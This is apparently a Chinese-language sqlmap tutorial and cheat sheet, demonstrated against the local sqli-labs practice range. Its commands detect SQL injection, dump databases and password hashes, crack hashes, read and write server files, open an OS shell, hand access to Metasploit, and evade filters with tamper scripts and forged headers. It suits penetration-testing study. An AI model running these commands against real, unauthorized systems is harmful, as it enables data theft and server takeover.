[工具使用]SqlMap
- 常用指令
- 探测目标网站是否存在注入
- 查询数据库users
- 查询数据库passwords
- 查询数据库当前用户
- 查询当前数据库用户是否是管理员权限
- 列出数据库的管理员用户名
- 查询所有数据库
- 查询当前数据库
- 输出指定数据库名字下的全部表
- 输出指定数据名下指定表下的全部列
- 输出指定数据库指定列指定字段下的全部数据
- -all系列
本文采用实例:sqli-labs靶场
SqlMap
一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
常用指令
sqlmap -r http.txt #http.txt是我们抓取的http的请求包 sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测 sqlmap -u "http://www.xx.com/username/admin*" #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探测该url是否存在漏洞 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users #查看数据库的所有用户 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords #查看数据库用户名的密码 有时候使用 --passwords 不能获取到密码,则可以试下 -D mysql -T user -C host,user,password --dump 当MySQL< 5.7时 -D mysql -T user -C host,user,authentication_string --dump 当MySQL>= 5.7时 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-user #查看数据库当前的用户 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --roles #列出数据库所有管理员角色,仅适用于oracle数据库的时候 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs #爆出所有的数据库 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tables #爆出所有的数据表 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --columns #爆出数据库中所有的列 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-db #查看当前的数据库 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100 #爆出数据库security中的users表中的username列中的前100条数据 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell #执行指定的sql语句 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-pwn #执行--os-pwn命令,将目标权限弹到MSF上 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql 其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --proxy="http://127.0.0.1:8080" #指定代理 当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。 支持的探测方式如下: B: Boolean-based blind SQL injection(布尔型注入) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(可联合查询注入) S: Stacked queries SQL injection(可多语句查询注入) T: Time-based blind SQL injection(基于时间延迟注入) sqlmap -d "mysql://root:root@127.0.0.130:3306/mysql" --os-shell #知道网站的账号密码直接连接 -v3 #输出详细度 最大值5 会显示请求包和回复包 --threads 5 #指定线程数 --fresh-queries #清除缓存 --flush-session #清空会话,重构注入 --batch #对所有的交互式的都是默认的 --random-agent #任意的http头 --tamper base64encode #对提交的数据进行base64编码 --referer http://www.baidu.com #伪造referer字段 --keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
burp和sqlmap联动:
探测目标网站是否存在注入
1、不需要登陆的站点
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探测该url是否存在漏洞
我们可以看到sqlmap和我们存在交互,大家需要根据工具提示选择不同的扫描方式
sqlmap会告知我们目标网站存在的注入类型、脚本语言及版本、数据库类型及版本、中间件等相关信息。
扫描最后会告知我们探测数据的保存路径
2、需要登陆的站点
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" #探测该url是否存在漏洞
3、需要Post提交数据的url
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
查询数据库users
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users
查询数据库passwords
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords
当我们跑密码的时候,sqlmap和我们会有两条左右交互
第一处:询问我们是否保存hash值 Y/N
第二处:询问我们是否对hash值进行爆破 Y/N/Q
第三处:询问我们是否要使用通用密码后缀? Y/N